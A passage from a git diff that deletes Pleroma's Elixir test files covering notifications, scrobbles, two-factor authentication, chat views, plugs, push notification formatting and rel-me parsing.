Pleroma.Web.ConnCase - - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "POST /api/v1/pleroma/notifications/read" do - setup do: oauth_access(["write:notifications"]) - - test "it marks a single notification as read", %{user: user1, conn: conn} do - user2 = insert(:user) - {:ok, activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) - {:ok, activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) - {:ok, [notification1]} = Notification.create_notifications(activity1) - {:ok, [notification2]} = Notification.create_notifications(activity2) - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/notifications/read", %{id: notification1.id}) - |> json_response_and_validate_schema(:ok) - - assert %{"pleroma" => %{"is_seen" => true}} = response - assert Repo.get(Notification, notification1.id).seen - refute Repo.get(Notification, notification2.id).seen - end - - test "it marks multiple notifications as read", %{user: user1, conn: conn} do - user2 = insert(:user) - {:ok, _activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) - {:ok, _activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) - {:ok, _activity3} = CommonAPI.post(user2, %{status: "HIE @#{user1.nickname}"}) - - [notification3, notification2, notification1] = Notification.for_user(user1, %{limit: 3}) - - [response1, response2] = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/notifications/read", %{max_id: notification2.id}) - |> json_response_and_validate_schema(:ok) - - assert %{"pleroma" => %{"is_seen" => true}} = response1 - assert %{"pleroma" => %{"is_seen" => true}} = response2 - assert Repo.get(Notification, notification1.id).seen - assert Repo.get(Notification, notification2.id).seen - refute Repo.get(Notification, notification3.id).seen - end - - test "it returns error when notification not found", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/notifications/read", %{ - id: 22_222_222_222_222 - }) - |> json_response_and_validate_schema(:bad_request) - - assert response == %{"error" => "Cannot get notification"} - end - end -end diff --git a/test/web/pleroma_api/controllers/scrobble_controller_test.exs b/test/web/pleroma_api/controllers/scrobble_controller_test.exs deleted file mode 100644 index f39c07ac6..000000000 --- a/test/web/pleroma_api/controllers/scrobble_controller_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.ScrobbleControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.CommonAPI - - describe "POST /api/v1/pleroma/scrobble" do - test "works correctly" do - %{conn: conn} = oauth_access(["write"]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/scrobble", %{ - "title" => "lain radio episode 1", - "artist" => "lain", - "album" => "lain radio", - "length" => "180000" - }) - - assert %{"title" => "lain radio episode 1"} = json_response_and_validate_schema(conn, 200) - end - end - - describe "GET /api/v1/pleroma/accounts/:id/scrobbles" do - test "works correctly" do - %{user: user, conn: conn} = oauth_access(["read"]) - - {:ok, _activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 1", - artist: "lain", - album: "lain radio" - }) - - {:ok, _activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 2", - artist: "lain", - album: "lain radio" - }) - - {:ok, _activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 3", - artist: "lain", - album: "lain radio" - }) - - conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/scrobbles") - - result = json_response_and_validate_schema(conn, 200) - - assert length(result) == 3 - end - end -end diff --git a/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs b/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs deleted file mode 100644 index 22988c881..000000000 --- a/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs +++ /dev/null @@ -1,264 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.TwoFactorAuthenticationControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - alias Pleroma.MFA.Settings - alias Pleroma.MFA.TOTP - - describe "GET /api/pleroma/accounts/mfa/settings" do - test "returns user mfa settings for new user", %{conn: conn} do - token = insert(:oauth_token, scopes: ["read", "follow"]) - token2 = insert(:oauth_token, scopes: ["write"]) - - assert conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa") - |> json_response(:ok) == %{ - "settings" => %{"enabled" => false, "totp" => false} - } - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> get("/api/pleroma/accounts/mfa") - |> json_response(403) == %{ - "error" => "Insufficient permissions: read:security." - } - end - - test "returns user mfa settings with enabled totp", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - enabled: true, - totp: %Settings.TOTP{secret: "XXX", delivery_type: "app", confirmed: true} - } - ) - - token = insert(:oauth_token, scopes: ["read", "follow"], user: user) - - assert conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa") - |> json_response(:ok) == %{ - "settings" => %{"enabled" => true, "totp" => true} - } - end - end - - describe "GET /api/pleroma/accounts/mfa/backup_codes" do - test "returns backup codes", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: "secret"} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa/backup_codes") - |> json_response(:ok) - - assert [<<_::bytes-size(6)>>, <<_::bytes-size(6)>>] = response["codes"] - user = refresh_record(user) - mfa_settings = user.multi_factor_authentication_settings - assert mfa_settings.totp.secret == "secret" - refute mfa_settings.backup_codes == ["1", "2", "3"] - refute mfa_settings.backup_codes == [] - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> get("/api/pleroma/accounts/mfa/backup_codes") - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - end - - describe "GET /api/pleroma/accounts/mfa/setup/totp" do - test "return errors when method is invalid", %{conn: conn} do - user = insert(:user) - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa/setup/torf") - |> json_response(400) - - assert response == %{"error" => "undefined method"} - end - - test "returns key and provisioning_uri", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %Settings{backup_codes: ["1", "2", "3"]} - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/pleroma/accounts/mfa/setup/totp") - |> json_response(:ok) - - user = refresh_record(user) - mfa_settings = user.multi_factor_authentication_settings - secret = mfa_settings.totp.secret - refute mfa_settings.enabled - assert mfa_settings.backup_codes == ["1", "2", "3"] - - assert response == %{ - "key" => secret, - "provisioning_uri" => TOTP.provisioning_uri(secret, "#{user.email}") - } - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> get("/api/pleroma/accounts/mfa/setup/totp") - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - end - - describe "GET /api/pleroma/accounts/mfa/confirm/totp" do - test "returns success result", %{conn: conn} do - secret = TOTP.generate_secret() - code = TOTP.generate_token(secret) - - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: secret} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - assert conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code}) - |> json_response(:ok) - - settings = refresh_record(user).multi_factor_authentication_settings - assert settings.enabled - assert settings.totp.secret == secret - assert settings.totp.confirmed - assert settings.backup_codes == ["1", "2", "3"] - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code}) - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - - test "returns error if password incorrect", %{conn: conn} do - secret = TOTP.generate_secret() - code = TOTP.generate_token(secret) - - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: secret} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "xxx", code: code}) - |> json_response(422) - - settings = refresh_record(user).multi_factor_authentication_settings - refute settings.enabled - refute settings.totp.confirmed - assert settings.backup_codes == ["1", "2", "3"] - assert response == %{"error" => "Invalid password."} - end - - test "returns error if code incorrect", %{conn: conn} do - secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: secret} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - response = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"}) - |> json_response(422) - - settings = refresh_record(user).multi_factor_authentication_settings - refute settings.enabled - refute settings.totp.confirmed - assert settings.backup_codes == ["1", "2", "3"] - assert response == %{"error" => "invalid_token"} - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"}) - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - end - - describe "DELETE /api/pleroma/accounts/mfa/totp" do - test "returns success result", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %Settings{ - backup_codes: ["1", "2", "3"], - totp: %Settings.TOTP{secret: "secret"} - } - ) - - token = insert(:oauth_token, scopes: ["write", "follow"], user: user) - token2 = insert(:oauth_token, scopes: ["read"]) - - assert conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"}) - |> json_response(:ok) - - settings = refresh_record(user).multi_factor_authentication_settings - refute settings.enabled - assert settings.totp.secret == nil - refute settings.totp.confirmed - - assert conn - |> put_req_header("authorization", "Bearer #{token2.token}") - |> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"}) - |> json_response(403) == %{ - "error" => "Insufficient permissions: write:security." - } - end - end -end diff --git a/test/web/pleroma_api/views/chat/message_reference_view_test.exs b/test/web/pleroma_api/views/chat/message_reference_view_test.exs deleted file mode 100644 index 40dbae3cd..000000000 --- a/test/web/pleroma_api/views/chat/message_reference_view_test.exs +++ /dev/null @@ -1,72 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.Chat.MessageReferenceViewTest do - use Pleroma.DataCase - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView - - import Pleroma.Factory - - test "it displays a chat message" do - user = insert(:user) - recipient = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "kippis :firefox:") - - chat = Chat.get(user.id, recipient.ap_id) - - object = Object.normalize(activity) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - chat_message = MessageReferenceView.render("show.json", chat_message_reference: cm_ref) - - assert chat_message[:id] == cm_ref.id - assert chat_message[:content] == "kippis :firefox:" - assert chat_message[:account_id] == user.id - assert chat_message[:chat_id] - assert chat_message[:created_at] - assert chat_message[:unread] == false - assert match?([%{shortcode: "firefox"}], chat_message[:emojis]) - - clear_config([:rich_media, :enabled], true) - - Tesla.Mock.mock(fn - %{url: "https://example.com/ogp"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/ogp.html")} - end) - - {:ok, activity} = - CommonAPI.post_chat_message(recipient, user, "gkgkgk https://example.com/ogp", - media_id: upload.id - ) - - object = Object.normalize(activity) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - chat_message_two = MessageReferenceView.render("show.json", chat_message_reference: cm_ref) - - assert chat_message_two[:id] == cm_ref.id - assert chat_message_two[:content] == object.data["content"] - assert chat_message_two[:account_id] == recipient.id - assert chat_message_two[:chat_id] == chat_message[:chat_id] - assert chat_message_two[:attachment] - assert chat_message_two[:unread] == true - assert chat_message_two[:card] - end -end diff --git a/test/web/pleroma_api/views/chat_view_test.exs b/test/web/pleroma_api/views/chat_view_test.exs deleted file mode 100644 index 02484b705..000000000 --- a/test/web/pleroma_api/views/chat_view_test.exs +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.ChatViewTest do - use Pleroma.DataCase - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - alias Pleroma.Web.MastodonAPI.AccountView - alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView - alias Pleroma.Web.PleromaAPI.ChatView - - import Pleroma.Factory - - test "it represents a chat" do - user = insert(:user) - recipient = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) - - represented_chat = ChatView.render("show.json", chat: chat) - - assert represented_chat == %{ - id: "#{chat.id}", - account: - AccountView.render("show.json", user: recipient, skip_visibility_check: true), - unread: 0, - last_message: nil, - updated_at: Utils.to_masto_date(chat.updated_at) - } - - {:ok, chat_message_creation} = CommonAPI.post_chat_message(user, recipient, "hello") - - chat_message = Object.normalize(chat_message_creation, false) - - {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) - - represented_chat = ChatView.render("show.json", chat: chat) - - cm_ref = MessageReference.for_chat_and_object(chat, chat_message) - - assert represented_chat[:last_message] == - MessageReferenceView.render("show.json", chat_message_reference: cm_ref) - end -end diff --git a/test/web/pleroma_api/views/scrobble_view_test.exs b/test/web/pleroma_api/views/scrobble_view_test.exs deleted file mode 100644 index 6bdb56509..000000000 --- a/test/web/pleroma_api/views/scrobble_view_test.exs +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.StatusViewTest do - use Pleroma.DataCase - - alias Pleroma.Web.PleromaAPI.ScrobbleView - - import Pleroma.Factory - - test "successfully renders a Listen activity (pleroma extension)" do - listen_activity = insert(:listen) - - status = ScrobbleView.render("show.json", activity: listen_activity) - - assert status.length == listen_activity.data["object"]["length"] - assert status.title == listen_activity.data["object"]["title"] - end -end diff --git a/test/web/plugs/federating_plug_test.exs b/test/web/plugs/federating_plug_test.exs deleted file mode 100644 index 2f8aadadc..000000000 --- a/test/web/plugs/federating_plug_test.exs +++ /dev/null @@ -1,31 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FederatingPlugTest do - use Pleroma.Web.ConnCase - - setup do: clear_config([:instance, :federating]) - - test "returns and halt the conn when federating is disabled" do - Pleroma.Config.put([:instance, :federating], false) - - conn = - build_conn() - |> Pleroma.Web.FederatingPlug.call(%{}) - - assert conn.status == 404 - assert conn.halted - end - - test "does nothing when federating is enabled" do - Pleroma.Config.put([:instance, :federating], true) - - conn = - build_conn() - |> Pleroma.Web.FederatingPlug.call(%{}) - - refute conn.status - refute conn.halted - end -end diff --git a/test/web/plugs/plug_test.exs b/test/web/plugs/plug_test.exs deleted file mode 100644 index 943e484e7..000000000 --- a/test/web/plugs/plug_test.exs +++ /dev/null @@ -1,91 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PlugTest do - @moduledoc "Tests for the functionality added via `use Pleroma.Web, :plug`" - - alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug - alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug - alias Pleroma.Plugs.PlugHelper - - import Mock - - use Pleroma.Web.ConnCase - - describe "when plug is skipped, " do - setup_with_mocks( - [ - {ExpectPublicOrAuthenticatedCheckPlug, [:passthrough], []} - ], - %{conn: conn} - ) do - conn = ExpectPublicOrAuthenticatedCheckPlug.skip_plug(conn) - %{conn: conn} - end - - test "it neither adds plug to called plugs list nor calls `perform/2`, " <> - "regardless of :if_func / :unless_func options", - %{conn: conn} do - for opts <- [%{}, %{if_func: fn _ -> true end}, %{unless_func: fn _ -> false end}] do - ret_conn = ExpectPublicOrAuthenticatedCheckPlug.call(conn, opts) - - refute called(ExpectPublicOrAuthenticatedCheckPlug.perform(:_, :_)) - refute PlugHelper.plug_called?(ret_conn, ExpectPublicOrAuthenticatedCheckPlug) - end - end - end - - describe "when plug is NOT skipped, " do - setup_with_mocks([{ExpectAuthenticatedCheckPlug, [:passthrough], []}]) do - :ok - end - - test "with no pre-run checks, adds plug to called plugs list and calls `perform/2`", %{ - conn: conn - } do - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{}) - - assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) - assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - end - - test "when :if_func option is given, calls the plug only if provided function evals tru-ish", - %{conn: conn} do - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{if_func: fn _ -> false end}) - - refute called(ExpectAuthenticatedCheckPlug.perform(:_, :_)) - refute PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{if_func: fn _ -> true end}) - - assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) - assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - end - - test "if :unless_func option is given, calls the plug only if provided function evals falsy", - %{conn: conn} do - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{unless_func: fn _ -> true end}) - - refute called(ExpectAuthenticatedCheckPlug.perform(:_, :_)) - refute PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{unless_func: fn _ -> false end}) - - assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) - assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - end - - test "allows a plug to be called multiple times (even if it's in called plugs list)", %{ - conn: conn - } do - conn = ExpectAuthenticatedCheckPlug.call(conn, %{an_option: :value1}) - assert called(ExpectAuthenticatedCheckPlug.perform(conn, %{an_option: :value1})) - - assert PlugHelper.plug_called?(conn, ExpectAuthenticatedCheckPlug) - - conn = ExpectAuthenticatedCheckPlug.call(conn, %{an_option: :value2}) - assert called(ExpectAuthenticatedCheckPlug.perform(conn, %{an_option: :value2})) - end - end -end diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs deleted file mode 100644 index 6cab46696..000000000 --- a/test/web/push/impl_test.exs +++ /dev/null @@ -1,344 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Push.ImplTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Push.Impl - alias Pleroma.Web.Push.Subscription - - setup do - Tesla.Mock.mock(fn - %{method: :post, url: "https://example.com/example/1234"} -> - %Tesla.Env{status: 200} - - %{method: :post, url: "https://example.com/example/not_found"} -> - %Tesla.Env{status: 400} - - %{method: :post, url: "https://example.com/example/bad"} -> - %Tesla.Env{status: 100} - end) - - :ok - end - - @sub %{ - endpoint: "https://example.com/example/1234", - keys: %{ - auth: "8eDyX_uCN0XRhSbY5hs7Hg==", - p256dh: - "BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA=" - } - } - @api_key "BASgACIHpN1GYgzSRp" - @message "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." - - test "performs sending notifications" do - user = insert(:user) - user2 = insert(:user) - insert(:push_subscription, user: user, data: %{alerts: %{"mention" => true}}) - insert(:push_subscription, user: user2, data: %{alerts: %{"mention" => true}}) - - insert(:push_subscription, - user: user, - data: %{alerts: %{"follow" => true, "mention" => true}} - ) - - insert(:push_subscription, - user: user, - data: %{alerts: %{"follow" => true, "mention" => false}} - ) - - {:ok, activity} = CommonAPI.post(user, %{status: "<Lorem ipsum dolor sit amet."}) - - notif = - insert(:notification, - user: user, - activity: activity, - type: "mention" - ) - - assert Impl.perform(notif) == {:ok, [:ok, :ok]} - end - - @tag capture_log: true - test "returns error if notif does not match " do - assert Impl.perform(%{}) == {:error, :unknown_type} - end - - test "successful message sending" do - assert Impl.push_message(@message, @sub, @api_key, %Subscription{}) == :ok - end - - @tag capture_log: true - test "fail message sending" do - assert Impl.push_message( - @message, - Map.merge(@sub, %{endpoint: "https://example.com/example/bad"}), - @api_key, - %Subscription{} - ) == :error - end - - test "delete subscription if result send message between 400..500" do - subscription = insert(:push_subscription) - - assert Impl.push_message( - @message, - Map.merge(@sub, %{endpoint: "https://example.com/example/not_found"}), - @api_key, - subscription - ) == :ok - - refute Pleroma.Repo.get(Subscription, subscription.id) - end - - test "deletes subscription when token has been deleted" do - subscription = insert(:push_subscription) - - Pleroma.Repo.delete(subscription.token) - - refute Pleroma.Repo.get(Subscription, subscription.id) - end - - test "renders title and body for create activity" do - user = insert(:user, nickname: "Bob") - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - object = Object.normalize(activity) - - assert Impl.format_body( - %{ - activity: activity - }, - user, - object - ) == - "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." - - assert Impl.format_title(%{activity: activity, type: "mention"}) == - "New Mention" - end - - test "renders title and body for follow activity" do - user = insert(:user, nickname: "Bob") - other_user = insert(:user) - {:ok, _, _, activity} = CommonAPI.follow(user, other_user) - object = Object.normalize(activity, false) - - assert Impl.format_body(%{activity: activity, type: "follow"}, user, object) == - "@Bob has followed you" - - assert Impl.format_title(%{activity: activity, type: "follow"}) == - "New Follower" - end - - test "renders title and body for announce activity" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - {:ok, announce_activity} = CommonAPI.repeat(activity.id, user) - object = Object.normalize(activity) - - assert Impl.format_body(%{activity: announce_activity}, user, object) == - "@#{user.nickname} repeated: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." - - assert Impl.format_title(%{activity: announce_activity, type: "reblog"}) == - "New Repeat" - end - - test "renders title and body for like activity" do - user = insert(:user, nickname: "Bob") - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - {:ok, activity} = CommonAPI.favorite(user, activity.id) - object = Object.normalize(activity) - - assert Impl.format_body(%{activity: activity, type: "favourite"}, user, object) == - "@Bob has favorited your post" - - assert Impl.format_title(%{activity: activity, type: "favourite"}) == - "New Favorite" - end - - test "renders title for create activity with direct visibility" do - user = insert(:user, nickname: "Bob") - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "direct", - status: "This is just between you and me, pal" - }) - - assert Impl.format_title(%{activity: activity}) == - "New Direct Message" - end - - describe "build_content/3" do - test "builds content for chat messages" do - user = insert(:user) - recipient = insert(:user) - - {:ok, chat} = CommonAPI.post_chat_message(user, recipient, "hey") - object = Object.normalize(chat, false) - [notification] = Notification.for_user(recipient) - - res = Impl.build_content(notification, user, object) - - assert res == %{ - body: "@#{user.nickname}: hey", - title: "New Chat Message" - } - end - - test "builds content for chat messages with no content" do - user = insert(:user) - recipient = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - {:ok, chat} = CommonAPI.post_chat_message(user, recipient, nil, media_id: upload.id) - object = Object.normalize(chat, false) - [notification] = Notification.for_user(recipient) - - res = Impl.build_content(notification, user, object) - - assert res == %{ - body: "@#{user.nickname}: (Attachment)", - title: "New Chat Message" - } - end - - test "hides contents of notifications when option enabled" do - user = insert(:user, nickname: "Bob") - - user2 = - insert(:user, nickname: "Rob", notification_settings: %{hide_notification_contents: true}) - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "direct", - status: "<Lorem ipsum dolor sit amet." - }) - - notif = insert(:notification, user: user2, activity: activity) - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: "New Direct Message" - } - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "public", - status: "<Lorem ipsum dolor sit amet." - }) - - notif = insert(:notification, user: user2, activity: activity, type: "mention") - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: "New Mention" - } - - {:ok, activity} = CommonAPI.favorite(user, activity.id) - - notif = insert(:notification, user: user2, activity: activity, type: "favourite") - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: "New Favorite" - } - end - - test "returns regular content when hiding contents option disabled" do - user = insert(:user, nickname: "Bob") - - user2 = - insert(:user, nickname: "Rob", notification_settings: %{hide_notification_contents: false}) - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "direct", - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - notif = insert(:notification, user: user2, activity: activity) - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: - "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...", - title: "New Direct Message" - } - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "public", - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - notif = insert(:notification, user: user2, activity: activity, type: "mention") - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: - "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...", - title: "New Mention" - } - - {:ok, activity} = CommonAPI.favorite(user, activity.id) - - notif = insert(:notification, user: user2, activity: activity, type: "favourite") - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: "@Bob has favorited your post", - title: "New Favorite" - } - end - end -end diff --git a/test/web/rel_me_test.exs b/test/web/rel_me_test.exs deleted file mode 100644 index 65255916d..000000000 --- a/test/web/rel_me_test.exs +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RelMeTest do - use ExUnit.Case - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "parse/1" do - hrefs = ["https://social.example.org/users/lain"] - - assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/null") == {:ok, []} - - assert {:ok, %Tesla.Env{status: 404}} = - Pleroma.Web.RelMe.parse("http://example.com/rel_me/error") - - assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/link") == {:ok, hrefs} - assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor") == {:ok, hrefs} - assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor_nofollow") == {:ok, hrefs} - end - - test "maybe_put_rel_me/2" do - profile_urls = ["https://social.example.org/users/lain"] - attr = "me" - fallback = nil - - assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/null", profile_urls) == - fallback - - assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/error", profile_urls) == - fallback - - assert 